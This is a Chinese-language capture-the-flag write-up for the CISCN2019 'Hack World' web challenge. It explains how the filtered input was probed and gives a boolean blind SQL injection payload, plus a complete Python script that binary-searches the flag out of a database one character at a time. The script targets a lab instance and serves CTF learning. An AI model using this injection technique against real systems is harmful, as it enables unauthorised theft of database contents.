[CISCN2019 華北賽區 Day2 Web1]Hack World

imtaieee發表於2024-11-10

題目連結:[CISCN2019 華北賽區 Day2 Web1]Hack World

開啟環境後如下所示。

嘗試輸入 1、2、3、4、...,發現僅存在三種結果。

即 1 時,輸出 "Hello, glzjin wants a girlfriend."。

2 時,輸出 "Do you want to be my girlfriend?"。

其他,輸出 "Error Occured When Fetch Result."。

且存在對使用者輸入的檢測。

還有個意義不明的資訊。

透過 fuzzing,可以發現後端對什麼關鍵詞進行了檢測。

因此,這裡使用布林盲注進行讀取資料(題目中存在提示,只需要讀取 flag 表中的 flag 欄位)。

Payload:if(ascii(substr((select(database())),1,1))>99,1,2)

# 二分法
import requests

url = "http://75073420-9c74-41e5-b9fb-6bfe86d0efc8.node5.buuoj.cn:81/index.php"
flag = ""
i = 0

while True:
    i = i + 1
    letf = 32
    right = 127
    while letf < right:
        mid = (letf+right) // 2
        payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
        data = {"id":payload} 
        res = requests.post(url=url, data=data).text
        if "Hello" in res:
            letf = mid + 1
        else:
            right = mid
    if letf != 32:
        flag += chr(letf)
        print(flag)
    else:
        break

參考:

  • [CISCN2019 華北賽區 Day2 Web1]Hack World --BUUCTF

相關文章